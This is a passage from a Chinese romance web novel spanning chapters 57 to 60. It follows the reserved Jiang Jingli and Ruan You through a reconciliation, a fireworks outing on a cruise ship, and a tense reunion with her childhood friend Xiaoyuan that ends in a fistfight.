江净理神情淡淡地颔首,并未说多余的话。 但这份态度却足以引起旁人心生波澜,毕竟在以前,他几乎从不参这样的活动。 江净理很有礼貌,礼貌到挑不出任何错,但很多时候,都让人感到无言的疏离感。 薛定宇是江净理的同班同学,性子大大咧咧,平日常担当的就是活跃气氛的角色。 一路上,他看着几个女生满眼欣喜的模样,忍不住在心里连连叹气。 他眯了眯眼,对着玻璃摆弄刘海,心生些许幽怨。 他也很英俊潇洒的吧? 怎么那些女生就一直盯着江净理呢?虽然,他承认他比自己是帅那么一点。 思及此处,余光偏巧见他停留不远处。薛定宇顺势望了过去,见状,眼里露出疑惑。 不远处,江净理面容冷漠,无声无息立在玻璃前。 少年颀长的影子于玻窗前隐映,一双乌黑眼眸并未兴起半分波澜,却让他莫名其妙地,觉察到一种近乎于阴郁的感觉。 那是之前,从未在他身上看见过的模样。 薛定宇蹙了蹙眉,跟着看了过去。 只是一片空旷的射击场地,没什么奇怪的。 只是,他微微眯了眯眼,看向里面至少在他看来,举止有些亲密的年轻男女。 但尚未看下去,一道熟悉的声音倏地响了起来,江净理掀了掀眼皮,遥遥立在那里,嗓音清冷,“不走么?” “他们在等我们。” “啊,哦,我们走走走。” 薛定余拍了拍脑袋,有些不好意思地看了眼等待的几位同学。也很快地,将刚才升起的异样一扫而空。 江净理语调寻常:“我去洗个手。” “好。” 几人应声。 薛定宇欲言又止,提醒他了,他刚好也想去啊。他跟在后面,静下来后,不由再度想起刚才看见的一幕。 看起来,像是认识? 他蹙蹙眉,忽的意识到自己发现了什么很了不得的事情。正当即将走进之时,一道近乎尖锐的异声毫无征兆撕扯过他的耳膜,让他止不住地胆颤了下。 推门看了过去,倒抽一口冷气—— 于不远处,卫生间那面镜子不知何时碎裂成了近乎蜿蜒的蛛网,中间深陷的留痕扭曲至极,头顶冷白光线下,似混沌漩涡,掺混着刺目至极的鲜红。 水声涓涓流淌,周遭静到了极致。 少年下颌微低,垂着眼睫,无知无觉地冲洗双手。 冷水穿过骨感分明的手指,隐约染红了底下细池,看上去颇是触目惊心,偏本人始终平静至极,动作从容一丝不苟,似乎疏离于世界外。 薛定宇僵直而立,心脏砰砰作跳。 他还是第一次见江净理这幅模样,这让他不敢接近。 而很快地,他便对上江净理乌黑的眼睛。 水流声戛然,错身之际,少年偏了下头,望着他,嗓音寻常依旧,“对不起。” “我会联系人过来修好。” 他的语气平静极了,没有分毫波澜。 薛定宇愣了愣,一时说不出任何话。 直到亲眼看他离开了,才松了松攥汗的手心。 是啊。 谁能想到,他居然也会失控。 第58章 第五十八章 真相篇|江 一连几日天都很好, 今天也不例外。 阮柚回到庄园时,日头已没了那么盛,但天空仍旧湛蓝通透, 攒动白云。 静下心来后,她不受控地想到了江净理。 她一点也不想和他陷入这样境地。这些天,她想过很多次找机会破冰, 但总会在临门一脚之际, 自己先败下阵来。 她仿佛看见了少年的另一面。冷漠疏离,鲜少展露情绪, 几乎拒人千里之外。她已经不知道该如何面对这样的他。 阮柚胸口似乎堵了口气,先前熟练射击的欢喜也很快冲淡,变得愈发沉闷。 余光里,风来了又去。娇艳欲滴的蔷薇花海粼粼绽放着光彩, 但她也没了欣赏的意趣,慢吞拖着步子走, 整个人也颇感恹恹。 “喂!” 斜刺里, 一道陌生且脆亮的男声倏然响了起来。 注意力被拉过去, 阮柚循声望去, 迟钝发觉自己来到一片空旷场地。 开口的是一位穿着黑衣服的男孩, 面容有种熟悉感。 这里站了不少人,多是围在男孩身边,神色小心翼翼。 见阮柚过来了, 她们眼神微闪, 流露出近乎慌张的神情。其中一人小声哄着, “瑾少爷,阿悦说了可以重新换个风筝。” 话音未落,男孩蹙了蹙眉头, 很执着,“可我不想要!我就想要那个风筝,你们都太笨了,一群废物!” 阮柚听清了对话,这才意识到究竟为什么觉得熟悉,原来是记忆里常出现在江母身边的小男孩,她已经很久没有见到了,没想到今天在这里遇见了。 他和记忆里的形象不太一样。 思及此处,对方再次看向了她。 阳光下,小瑾眼睛黑而亮,忽的隔空指了指她,口吻命令,“你!你过来给我捡风筝!” 话落,有人接着说,“瑾少爷,不可以……” “有什么不可以?”小瑾不耐烦地打断,盯着阮柚,“喂,你还愣着做什么?” 风筝挂在不远处的树上。 阮柚先前经常爬树,捡个风筝对她而言只是一份举手之劳,所以没什么想法就答应了。当然,她还是有种清晰的感觉——面前这位小男孩非常不可爱,而且很聒噪,像是被人宠坏了。 树下,小瑾指挥的声音愈发的远,他不满阮柚动作这么轻松顺利,这样显得站在地面的自己很笨。 而当阮柚拿到风筝后,却莫名偃旗息鼓,安静下来。 微风窸窣吹拂树叶,于耳边沙沙作响。 阮柚眨了下眼睫,听见下面人说,“我之前见过你。” 她低了低头,看了过去。 小瑾仰着头,有些生气,“你为什么不理我,快点把风筝给我!” 风筝还被阮柚抓在手里。 阮柚回:“我为什么要给你,你连句谢谢都不说,没有礼貌。” 唔,她也是有脾气的。 闻言,小瑾愣了下,未曾想到她会这么对他说话。 他竭力抬思头,脸色因怒气涨的通红,却半天没吐出整句,“你!你!” 阮柚歪了歪头,晃了下手里风筝,佯装着听不懂。 半晌。 空气安静了下,对方干巴巴飘来了句,“谢谢。” 周遭一阵意外,均看向不知为何,忽然消停下来的小瑾。 小瑾像想通什么,瓮声瓮气来了句。 阮柚问:“什么?” 小瑾咬牙又切齿,“我已经说了!” “我真没有听见。” 阮柚并没有说谎,想了想又道,“你说的太小声了,不够有诚意。” 小瑾沉默了会儿,几秒后,不情不愿说了遍。 阮柚把风筝还给了他,但过了片刻,发现他还没有走,凑在树下不知道在干什么。 一群人围着他劝,却被小瑾直接甩开。 “别管我!” 佣人:“瑾少爷,爬树很危险的,会受伤的。” “我才不会那么笨。而且,她怎么就上去了!”小瑾说罢,似想起什么,抬头看向阮柚,“你下来,教我。” 依旧命令的口吻。 “我不。” 她拒绝的斩钉截铁。 小瑾:“为什么,你难道不知道我的身份?”见阮柚又不搭理他了,他心底闪过一丝莫名的委屈,不住道,“我可以给你付工资。” 见她还是不应,他沉了沉脸,有些不悦地说,“我知道你是我表哥的小女仆。” 阮柚这才看向他。所以呢? 小瑾眼睛一亮,很快,恢复了严肃:“你以后只陪我玩,我会比表哥对你更好,还给你付更多的工资。” 他越说,越底气十足,“你觉得怎么样?” 阮柚语气平静:“我觉得不怎么样。” “为什么?”小瑾抿抿唇,有些气不过地踱步转悠,“我不明白。” “瑾少爷!” 女佣意识到不妙,想阻拦他接下来的话,可已经来不及。 “我比表哥好多了,因为他们都更喜欢我…”小瑾满足说着,但尚未说完,头顶就忽地被什么东西砸了一下。 疼! 他摸着脑袋看过去,眼神簇火。 “你干什么!”他看了眼地上掉落的枯枝,“你居然敢用这个砸我!” “对呀。”阮柚大言不惭,她也有些生气,“江净理很好很好,不喜欢他的人,是他们没眼光。” 阮柚板着脸道,“而且,你真的好吵。” 小瑾闻言,反应过来了,“我也没…我也没说他不好。” 他仰头看了眼明显不悦的阮柚,忍不住反驳她,“而且、又不是我自己觉得,我小姨也说过如果我是——” 小瑾话未说完,倏地,一道严厉的声音响了起来,“瑾少爷,请不要说下去了。” 是老管家的声音。 阮柚呼吸一滞,尔后,在心里升起了个猜测。果不其然,她很快看见不远处,站在管家身边的江净理。 少年眉眼清冷,眸里无波无澜,比起小瑾的惊慌失措,他平静极了,就像旁观别人的事情般。 但越是这么平静,越是让人感到畏惧。 小瑾心脏狂跳,先前嚣张气焰顿时熄灭全无,甚至低垂着头,一时不敢看他的眼睛。 气氛冷沉的近乎冰封,只有磨过树叶的沙沙声,光线忽明忽暗地落在江净理身上,阮柚无声低头,恍惚有一瞬间,同他四目相接。 她的内心闪过一丝异样,对方如今的状态似乎并不太对。 “没关系。” 江净理语气一顿,嗓音淡然,“你可以继续说下去。” 小瑾迟疑抬起头,僵僵解释,“哥哥,我没有别的意思。” 乖极了,和之前判若两人。 少年神色未变,反倒走近了些,安静地伸出了手。 小瑾瞳孔微缩,下意识往后躲了躲空气,却只感觉发顶头发被揉了揉,触感冰凉到令他平生出几分毛骨悚然之感。 江净理低头对视,很轻地询问,“是想说,如果你才是她的孩子,那该有多好。是么?” 少年眼里乌黑深邃,聚拢起异样的专注,仿佛能够看透一切。 小瑾连连否认,他怎么敢去承认呢。 阮柚见江净理放下了手,先前那半点笑意也彻底无影无踪,倏然就失去了兴致。 “说谎可不是什么好习惯。” 江净理看向身后的管家,嗓音冷漠,“送客吧。” 管家闻言便要上前。 小瑾彻底慌了,语无伦次试图辩驳,但收效甚微,到了最后眼见话不做假,扯着嗓子哭了起来。 “我要回去告诉小姨!” 管家动作微顿,小声提醒,“少爷,夫人也许会不高兴。” 江净理看了他一眼,“所以呢,我高兴就好了。” 管家懂了。 临走前,小瑾哭咽着嗓,依旧嚷嚷着自己没错。他被宠惯了,私下作风无法无天,从未被这么对待过。今日碰见归家的江净理,也是他以为的运气不好,他一向很畏惧这位性子清冷的表哥。 可老管家却告诉他,他错的最错的,其实并不是说错了话,因为他并没那么在乎,而是——— 最后,对方叹了口气,讳莫如深,“你不该去觊觎他悉心呵护的珍宝。” 小瑾听不太懂,只懵懂意识到自己犯了错,归家以后父亲一定会惩罚自己。 这边,人声散去。 树影斑驳落在她的手背,阮柚静悄悄地看,又忍不住望了下去。 江净理在看着她。 四目交接,好似被烫了一下,阮柚微蜷手指,许久没有说话,也不知该做什么开场白。 但是她清楚明白,自己应该说些什么。 阮柚眨了下眼睫,忽地,注意到几分不对,但她看不太清,不敢轻易去确认。 这时,立在树下的少年兀自开口,很自然地打破了沉静,“好高啊。” 他仰着下颌,望着她的眼睛,很轻地对她说,“怎么办,我都看不清你了。” 少年嗓音清冷,吐字轻到近乎于一不留神,便融化在耳畔轻风里,却很莫名地,让她模糊感知到落在心底的温度。 阮柚闻言,一股从未有过的感受从心底升起,涌至喉咙,熏烫过了眼圈。她这时想,她以后再也不想和江净理冷战了。 她内心深处,总有股似有似无的感觉。 所有美好总转瞬即逝,珍惜眼前人,才是最重要的。 “既然这样,那我下来陪你好了。” 半晌,她听见自己说话,嗓音有些沙哑。 江净理笑开,“好,我等你。” 迎面时,她才终于觉察出那份异样来源,她看着左手缠绕的绷带,问,“怎么受伤了?” 江净理一时没有回话,只是安静看着她。直到阮柚又问了遍,才缓慢转了下眼珠,不痛不痒道,“嗯,不小心伤到了。” 她欲言又止,又依稀能感受出,江净理对这个话题没有太多深聊的兴趣。 阮柚虚虚张唇,未语,只一瞬不瞬看向了他的手。 她不想看他受伤。 她低了低眸,闷闷地道,“一定很疼吧,可惜我帮不到你什么。” 正出神想着,恍惚间,面前视野忽然暗下。 阮柚下意识地颦动眼睫,迟钝地发觉自己落入了对方怀里,鼻息之间,那股熟悉至极的冷木香几乎将她吞没。 阮柚身形一僵,而后,他的声音于耳畔响起,对方紧紧拥着她,无声地,似要将她融在体温。 阮柚很怕碰到他的伤口,只好小心翼翼碰了下他后肩,问,“怎么了?” 江净理忽地对她说,“对不起。” 阮柚愣了下,一时不知该如何回应。 她也许知道江净理为什么会道歉。 但同时,也早就明白两人只是观念上的分歧罢了。平心而论,谁都没有错。 错的,只是还不太成熟的处理问题方式。 “如果你要说对不起,那我其实也应该说。” 阮柚语气很认真,垂垂眸,忍不住询问他,“江净理,我有没有碰到你的伤口啊。” 江净理安静片刻,从拥抱缓慢退了回去。 而后,同她四目交接。 阳光下,少年目不转睛注视她的眼睛,缓慢笑开,丝毫不见先前的冷漠疏离,“阮柚。” 他唤她的名字,睫毛根根拓下阴影,好似对什么都不在乎,只问着她,“你也会心疼我么。” “对于你来说,我会是特别的存在吗?” 第59章 第五十九章 真相篇|江 特别的存在。 阮柚无声默念了句。 “当然了, 我会心疼你。” 她抿直了唇,语气愈发坚定。 她望向江净理的眼睛,眼里聚拢起光彩, 笑盈盈重复了句,“对于我来说,你就是特别的存在。” 所以, 我们要一直好好的。 你不要再受伤了, 我们也不要再吵架啦。 天空湛蓝无垠。 风来了又去,树隙掉落光斑流转, 细碎顺着发丝落在少女的眼底,她一瞬不瞬望着江净理,唇角轻翘,笑意都染上清浅的温度。 阮柚说的声音很轻, 更多是在说给自己听,以致透出了几分虔诚意味, 像在对他许诺。 江净理这样想。 他垂眸望着她, 从眉间的漂亮小痣, 到微卷鬓角、挂在耳廓的碎发, 视线一笔笔勾勒描摹, 没有夹杂任何意味情绪,只是静静听着、看着,将她的面庞全然刻在脑海里。 “谢谢你。” 江净理倏的笑了, 他笑起来很好看, 唇角松松弯起, 冲淡了原本的清冷感。 冷战这段时间里,阮柚经常想念他的笑,她觉得他不笑时距离她似乎很遥远, 但当他对她笑,比如现在,她就生出了种真切感受——他还是她,一直未曾改变。 这让所有徘徊在胸口的沉闷感,瞬间都烟消云散。 “为什么说谢谢呀?” 她笑问,眼睛亮亮的。 “因为。” 江净理嗓音微顿,曲下了脖颈,“我很庆幸在你眼里,我是特别的存在。” “所以阮柚。” 少年话语稍停,右手指节勾过她的小拇指,缠住了收拢,贴过去细微凉意,“谢谢,你能出现在我身边。” 四目交接。 某一瞬,两人呼吸近乎重叠了下来,阮柚睫毛微颤了几下,再度定眸,对上了江净理的眼睛。乌黑深邃,好似雪水融化,冷意化淡,继而染上不易察觉的柔和。 她很少见他这么看自己。 但几乎同时,阮柚抿唇,喉咙开始发酸,她知道他真的听见。 她回想起来刚才小瑾未说完的话。 又想起旁人低声议论时,提及的那句“不被期待” 怎么会呢? 你真的很好呀。 真的会有很多人爱你、想要发自内心陪伴你。 阮柚屈了屈手指,而后,生涩而又不失轻柔地摸了下江净理的头发。他的头发很柔软,略过手心痒痒的,在发觉对方微怔神色时,阮柚忍不住乱揉了一把。 少年微抿薄唇,眼底闪过与往常不符的茫然感,似没有反应过来。 得逞后,她下意识躲开江净理伸来的手,转身弯唇笑了下。“对呀,这是你的荣幸,所以一定要好好珍惜。”” 理直气壮的。 “谁对我好,我就会对谁好。” 她扬了扬声音,转身跑远了。 朦胧阳光下,像是一只轻巧翩飞的小蝴蝶,却永远不失鲜活感。 比他画过的任何一副画作,都要纯粹完美。 江净理目不转睛看她背影,踩过她走过的路,无声无息地笑了下。 可一瞬,他步伐微顿,心底被一股不知从何升起的空芒感所取代。 他想留住什么,却不知具体。 是这幕画面吗? 他想。 直到后来——— 江净理才依稀明白,他也许有种天生的敏感度。 所以才会在极致幸福时,第一反应,就是觉察到她将要离去的痕迹。 多残忍啊。 * 在约定看烟花那天前一天,阮柚很不幸地感冒了。她一觉醒来昏沉沉的,脚步也像灌了铅,软绵绵没什么力气。 直到吃了药后才缓了缓神。 热气微熏过了她的眼睛,凝上蒙蒙的雾意,阮柚吃完了药,蜷缩在被子里,有些内疚地看了看从学校赶的江净理。 阮柚:“我说了你不用回来的。” “是啊,你已经劝过我了。” 江净理坐在不远处的沙发,神情淡然翻了页书,“是我想回来看你。” “我没有事,很快就会好了。” 阮柚嘟哝着,可鼻音让她咬字含糊不清。她不免有些丧气,好讨厌生病呀。 房间陷入了安静。 无视了看,她只能卧坐着放空发呆,视线徘徊打转,最后,她看了眼江净理缠着绷带的那只手。 她本想再度询问缘由,但话至嘴边,少年却偏巧抬起了眸,对视过来那一瞬,阮柚条件反射改口,“手受伤了,平时写字吃饭是不是不方便呀。” 江净理安静看了她一眼。 沉默的三秒里,阮柚后知后觉意识到了什么,抬头拿被子盖过头顶。 一片漆黑。 她有些生无可恋。 她问的是什么蠢问题啊喂! 他又不是左撇子呀! 一定是因为感冒的缘故。 想到这里,被子被人轻轻扯了下来,盖至下巴。流动的空气通畅过来后,阮柚虚眨了下眼,看向站在她床边的江净理。 他低着头,帮她掖好被角。 隔了会儿,他自顾自应话,“嗯,对。” 少年略略抬了抬眼皮,睁眼说起了瞎话,声线无波无澜地,“可惜你现在感冒了,不能帮我写作业、喂我吃饭了。” 阮柚眼皮倏的跳了跳。 说的好真哦,都快有画面感了。 但与此同时,见他看了过来,她忽然想起什么,顺着杆子往上爬,“不能帮你做这些,但我可以去陪你看烟花呀。” 因着生病缘故,她的嗓音磨过哑意,但依旧能听出她语气的期待。 “你跟期待吗?” 半晌,江净理问。 “嗯。”生怕他反悔,她点头如捣蒜。 “那就去。” 他说,“我答应过你了。” 阮柚很开心地翘翘唇角。 是呀,他答应过她的,就一定会做到的。 “但你要快点好起来。”江净理眼神认真,阮柚脸色很苍白,白到有些脆弱,他不想见她这幅模样。 阮柚有些怅然,“我也想快点好起来,我不喜欢生病。” “我知道。” 江净理很轻地说,“你一定会很快康复的。” 出了门。 老管家走上前,小声恭敬道,“成家那位小少爷又过来闹了。” 江净理神色未变,只偏偏头,“闹什么?” “他说,” 老管家神色复杂,“非要少爷您赔什么限量款摩托车,态度不太友好。” 出于礼节,他对话语说的保留含蓄。 实际上——那位性子拽炸天的成家小少爷不知为何,像吃了炸药桶,非咬定自家少爷设计他,这几天还嚷嚷要他算账。 他本来找个小辈佣人去应付,谁知没多久佣人逃一般回来,从此真切留下了阴影,看见晃眼的白毛就直发怵。 “不用理会。” 江净理移开目光,似乎在想什么。 老管家迟疑点了点头,沉默聆听。 “你对他说。” 江净理很轻地弯了下唇,嗓音却是冷冷地,“凡事都要讲证据。” 少年寻常歪了下头,喉结凸起微滚,“别像只疯狗见了人就咬,觊觎着不该觊觎的人。” 老管家愣了愣神,点头时,莫名觉察出几分别样意味。也许是错觉吧,总觉得这句话里面,含着些许警告意味。 次日傍晚,江净理带阮柚去看烟花。 邮轮驶过平静无垠的海浪,搅乱波光粼粼的月光水纹。 在那,她见到了他的许多同学。也许是同类相吸,他们都彬彬有礼,待人接物挑不出半点错,聊起天像大人一般。 而她什么都听不懂,忽然觉得自己有些幼稚。她缓慢眨了下眼,脑子嗡嗡的,胡乱嗯了声回应。 可不知哪点触到旁人笑点,他们面面相觑,笑声怎么藏也藏不住。 “薛定宇,你怎么不笑啊,真是头一次看见反应这么可爱的人!” 阮柚抿唇。 他绝对不是在夸她! 被称为“薛定宇”的男生的确没有笑,只是在阮柚看过去时,他正在以一种很奇怪、又难以忽略的眼神看着自己,这让阮柚也不由一愣。 怎么了? 正当疑惑想探究下去时,身后,忽的传来了江净理的声音。 肩膀落下一件柔软的外套,熟悉的气息暗涌过来,阮柚转过视线,听见他对她说,“原来你在这里。” 阮柚;“嗯。” 江净理看了他们一眼,点头,以示问好。他的动作礼貌里带了几分拒人千里的疏离感,极淡,让人看不出任何情绪。 他接下来一直在看着阮柚。 一时间,几人像打翻了颜料板,均神情各异。 “烟花快开始了,我们走吧。” “好。” 阮柚自然没有意见。 她紧了紧身上的外套,想到了什么,看了眼薛定宇。 江净理一顿,掀起眼皮看了过去,“有什么话想说么。” 他问薛定宇。 闻言,薛定宇如梦初醒,赶忙摇了摇脑袋。“没什么,你们玩的开心。” 他微微颔首。 阮柚缓慢眨了下眼睛,些微觉察到几分不对。但她跟在江净理身边走,很快地将它抛之脑后。 “感觉怎么样,还难受么。” 他问,抬手帮她将扣子扣的严严实实。 “不难受了。” 阮柚抬唇,她已经好的差不多了。 “刚才在聊什么?” 江净理偏头,不经意问。 阮柚安静摇头,想了想,“我记不太清了。”思及此处,她很轻地蹙了下眉,“你会不会觉得,有时候和我聊天很累呀?” 江净理一怔,“我从来没这么觉得。” “那就好。” 她稍松了口气,拉他衣袖,“我们快走吧。” 重新恢复了最开心的样子。 她的快乐来得很简单,江净理许多次在心里想。 “不用想太多,这样就很好。” 他握住她的手。 两人正交谈着,倏地,天色一瞬地通亮,染上了绚烂的火光温度。 烟花绽放,光影交织。 江净理偏头,提醒她别忘了许愿。 阮柚并没有忘,她仰起头,闭起眼皮许愿,姿态很虔诚。 已经想好了。 末了,她睁开了眼睛,恰好同江净理四目交接。 少年微垂脖颈,立在了烟花底下,就这样安安静静注视她。 他刚刚一直在看自己吗? 阮柚微眨了下眼睛,问他,“你刚刚有许愿吗?” 而后,听见身侧少年很轻的嗯了声。 他抬手搭在了护栏上,盛放烟花下,乌黑眼瞳忽明忽暗映过她,嗓音清冷却认真,“希望以后每当你看见烟花,都能够想起我。” “好简单的愿望啊。” 闻言,她小声地感叹了句。 “放心,我会做到的。” 阮柚弯起唇,眼底碎光柔和潋滟,忍不住问他,“那你会么,江净理。” “嗯。” 少年眼眸认真,抬起头,嗓音融在咸湿的海风,渐渐从耳廓飘远。 “我会。” 他无比确信。 第60章 第六十章 真相篇|江 春去秋来。 艳阳高照, 绿树成荫。 阮柚在这一天,收到了晓愿的来信。 信中,晓愿大致讲了下他的近况, 他很能吃苦,也很努力,有幸得到了长官赏识, 过着极充实的军人生涯。 见他过的很好, 阮柚略略松了口气,这正是一直以来她所期待看到的。 而在看到了末尾后, 她还是忍不住滞了一下,盯着那几行字来回看。 心情复杂。 晓愿在最后告诉她,他要彻底离开这里了。 “我不知道以后还会不会见到你,所以想借此机会, 见你最后一面,你愿意吗?” 愿意吗? 她当然愿意了。 望着那四个字, 阮柚在心里想。 藏绿色的信纸微褶, 光线折着晃眼白光, 她迟钝眨了下干涩的眼睛, 胸口闷闷地, 心情发乱。 恰在这时,熟悉的声音从身后响了起来。 少年在身后叫她名字。 如梦初醒般,阮柚屈指收起了信件, 看向从学校回来的江净理。 即将毕业的他, 已然褪去少年青涩, 眉眼愈发沉稳深刻,有时也会让人捉摸不透。 他立在她面前,身形遮挡视野阳光, 让她得以清楚看见他的面容,以及眼底的淡淡笑意。 “怎么一个人坐在这里。”他问起,扫了眼她手上的信件,嗓音寻常。 “是在等什么人么?”他又道,在身侧的藤椅落座,偏头注视她。 阮柚抬唇,故意接话道:“我说在等你,你会信么。” “只要说出来,我就会信啊。”江净理松唇,很轻地回了句,嗓音带笑。 少年眼底深黑似墨,攒着似将人吞没的专注,语气认真不做假。 阮柚抿了抿唇,捏着手中信件,对话过后,内心则更愧疚了。 因为她要过去找晓愿,就要取消掉和他先前的约定,她不知道该如何开口。 可江净理像读懂了她,没等她回答,将话题换到她手上的信。 “说吧,别皱眉了。” 他轻易看出了她,看了看远处绿藤。 闻言,阮柚这才彻底敞开心扉,硬着头皮说完后,她连连道歉。 江净理抬起手,揉了揉她头发,“真是不给我一点拒绝的时间。” “最后一面了,实在不想错过留下遗憾。” 少女缓慢眨了眨眼睫,有些底气不足,眼睛闪烁着,“选礼服那件事,我们换一天可以么。” 江净理成人礼快到了,先前约好日子选礼服,偏巧与晓园信中所说的那天撞了。 闻言,他淡淡点了点头,“好。” 出人意料地,江净理很快就答应了下来。 阮柚心境复杂,不知该做什么反应。 但最后,几分动容还是占据了上头,“谢谢。” 江净理目不转睛看着她,嗓音清冷,“可是留我一个人,我会很无聊。” 欸? 她一愣,确定几番后,才意识到他真的说了这句话。 阮柚抿直唇,脑海一空,而后不确定问了句,“那、那该怎么办?” 话落,又觉得自己回答的好傻。 她不是该给他想办法么?可江净理日程一向塞得极满,她从未想过“感到无聊”四个字会和他本人挂钩。 难道说,他为了和自己的约定,已经推掉了很多行程了吗? 看见少女眼底浓起的愧疚,江净理不由地笑了声,他知道她想多了。 “我是说。”少年语气稍顿,平视起她的眼睛,“带着我,可以么。” 稀疏平常的口吻,却让她愣了愣神。 阮柚从未想过会是这样的答案。 — 约定地方是一家露天咖啡馆。 环境清幽,风光怡人。 半空中回荡着轻柔的钢琴曲,阮柚听不出具体曲目,只觉得有种过耳不忘的好听。 晓愿沉默摆弄桌上正中央的插花,手心冒虚汗,心情忐忑又不安。 这是种紧张不安的心情,虽然他不想承认——他有一天,会紧张于即将见到阮柚。 这般心想,忽地,身后肩膀被人很轻地拍了下,掺杂过胸口剧烈心跳,他神经一紧,瞬间僵直起来。 而后,一道许久没听过、却熟悉至极的嗓音响了起来。 来人有些愧疚,声调也明显降下来,“对不起,吓到你了吗?”她本来想给他一个惊喜的,却如今看来,好像吓到他了。 二闻言,晓愿像是被烫了一下,突然站起身,动作拉扯过椅脚发出略刺耳的声音,引来周遭几人疑惑的目光。 他心中闪过懊恼,又庆幸自己晒的黝黑的皮肤,这样就不会被觉察到发烫的脸颊。 “没事没事,我只是没想到你会来。” 他仓促地说,忍不住看阮柚,她什么都没变,但是又好像什么都变了。 比先前更白了,更纤细了,也更漂亮了。漂亮到他连想好要说的话都忘了。 “我想过来见你。”阮柚抿唇,很认真,“我不会不来的,晓愿。” 她叫他名字。 晓愿愣了下,低头,手忙脚乱帮她拖过椅子,心脏砰砰直跳。 时隔这么久,她再次叫他的名字,原来是这种感受。 “我自己来好了。”她笑着说。 晓愿道:“举手之劳,让我绅士一下吧。” 闻言,阮柚一愣,晓愿跟着怔了下。 而后,两人会心一笑。 重提的口头禅,像一下将记忆拉回到了小时候。男孩面上不情不愿,却依旧拉着她的手,带她爬上高树,嘴上却说嚷嚷着,“那我勉强绅士一下吧。” 晓愿,从来都是别扭却心善。 阮柚想。 “我很高兴你能过来,阮柚。” 晓愿低了低头,握紧杯子继续道,“一直以来,我都想和你说声对不起。” 阮柚愣了下,下意识重复了句,“对不起?” “嗯。”晓愿苦涩一笑,“以前我真是太不成熟了,做了很多让你不开心的事。” 听见他这样说,阮柚罕见安静了下,这份安静让他愈发不安。 正当晓愿想祈求她的原谅时,却听见少女笑了一下,清凌凌道,“我刚才想了想,没有想起你让我不开心的事。” 四目交接,阮柚弯唇,笑盈盈地,“如果真是这样,那我想,我应该在当时就已经原谅你了吧。” 少女的话如春风细雨,就这样洒在了他的心田。 晓愿不禁一怔,无数身心俱疲的日夜,他总回想阮柚,或哭或笑,明媚而鲜活。最后,却都定格在记忆里,她落寞至极的眼睛里。 那时,她仿佛在疑惑:为什么不理我?是我做错了什么吗? 她一直都是这样的人,心思纯然真挚,对谁好,就掏心掏肺。 是他错过了这样的她。 如今隔着一张桌子,只觉一阵恍惚。 半晌,晓愿倏然笑了,“你一直没变,阮柚。” 阮柚缓慢眨了眨眼睛,语调骄傲,“没有呀,我长高了,所以喝牛奶是有用的。” 话落,晓愿想起了什么,不太好意思地笑了起来。“你说的对,喝牛奶很有用。” 他当时可真幼稚啊。 气氛很快轻松了下来。 他低头抿了抿唇,想要再说些什么,却被阮柚接下来的话语打乱了思路。 “对了。”阮柚语气微顿,“我有位朋友在——” 话还未落,一道轻磁的男声响了起来。 听见来人声音,晓愿下意识便握紧放在膝盖上的手。 他很快听出是谁。 再抬眼时,一只骨节分明的手伸了过来,对方姿态很有礼貌,可晓愿却只盯着他指上刻着家徽的戒指,神情意味不明。 过后,他握了上去,触及则分。 “你好。”江净理掀起眼皮,嗓音极淡,“那边没位置了,介意我坐过来么。” 晓愿沉默会儿:“我没意见,你随意。” “对不起,我应该早点和你说的,但没想到没有位置了。” 阮柚和他解释,又补道,“这就是我要说的那位朋友。” 晓愿轻松地笑笑,“说什么对不起啊,我们都是你的朋友,算那么清楚干什么。” 闻言,阮柚对他笑了下,眼里流转光彩。 江净理则看了他一眼,保持安静,只不时摩挲尾戒,扮演透明人角色。 可哪里来的透明人呢? 尤其是,他这类矜贵入骨子里的人物。 即使他未曾开口说话,但只要坐在那里,静坐在阮柚身边,就万分刺眼、刺眼到让人难以忽略。 晓愿不想去承认,却又不得不承认。 会面之后,三人沿路走了会儿。 她能觉察出晓愿和江净理之间气氛不对,并很快归因于两人关系的生疏。 于是乎,她一直自觉扮演活络气氛的角色,话说个不停。 晓愿回应的很快,他不想放过任何和她聊天的机会,也同样保有私心,想去抢占江净理和阮柚说话的机会。 而江净理自始至终神情疏淡,不说话,也不展露半点负面情绪,只看着阮柚,聆听着。 晓愿握了握拳,有种伎俩被轻易看穿,而生出的些许羞耻感、以及说不清的无力感。 阮柚刚说完话,江净理却碰了下她的手背,“去那里买束花吧。” 他的目光所视的方向是一家花店。 阮柚闻言,一下被点醒了,很感激地看了他一眼。聊天聊的差点忘了,她想要买束花送给晓愿。 多亏江净理提醒她。 她看向了晓愿,“晓愿,你等等我,我很快回来。” 晓愿迟疑点头,心头接着一暖,正色说了声好。 阮柚本想买芍药花,但到了花店,却被桌上放置的茉莉花吸引了目光。 店主见状夸她眼光好,“这是店里最后一束了,品相很好,气味也很好闻。” 阮柚闻了下,的确很香,将它买了下来。 临走出花店,恰好同来人擦肩而过。 对方身上气息十分干净,即使融在浓重的花香里,却仍然能够闻见其特别。 她下意识侧了侧眸,依稀间,听见后面传来对话。 “不好意思先生,最后一束已经卖出去了。” “没关系,我选别的就好了。” 少年语气温柔,丝毫不在意。 … 出门后,阮柚走了没多久,倏地听见一阵骚动。 “欸欸欸!怎么还动手呢!” 分辨出声音方位,她眼皮忽然一跳,遥遥看了过去,差点拿不稳手中的花束。 只见在不远处,几乎毫无征兆地,晓愿愤怒攥起江净理的衣领,拿拳头狠狠地挥了过去。 阮柚呼吸一窒,用最快的步伐跑过去。 越过人群。 江净理不躲不闪,安静承受晓愿的怒火,比起劝架路人的激愤不解,他连眼睛都不曾眨一下,平静地不泛分毫波澜。 晓愿手背青筋暴起,几乎咬牙切齿,“你凭什么要这样说,啊!就凭你的身份吗?” “疯子,你这个疯子。” 少年唇角潋着浓稠鲜红,未语,只抬了抬下颌,靠在墙面偏了偏头,舌尖舔掉了血。 腥甜感很快溢于唇齿。 话落耳边,却是充耳不闻。 他的眼神平静到无波无澜,似游离事件之外,这让晓愿愤怒之余,恍惚间,顺着脊背攀生出一种刺骨凉意。 他看着江净理。 晓愿清醒认识到,站在他面前的人,远没有传闻那么风光霁月。 是啊,他毕竟流着江家人的血,都有着刻在基因里、誓不罢休的疯狂。 即使装的再好,也总会露出破绽。而那破绽,于他看来,便是让人不寒而栗的獠牙。 晓愿一阵失神,揉紧拳头失了力,迟迟没再挥下去。 几乎同时,他反应过来什么,语气充满急切,“算我求求你,把她还给我。不,我是说,放过她吧。” 他视线不再恍惚,逐渐清明,用只有两人能听见的话,近乎祈求着道。她怎么能和这样的人在一起呢? 闻言,江净理眉眼微动,缓慢转动了下眼珠,神情微松。 这让晓愿忽燃起希望。 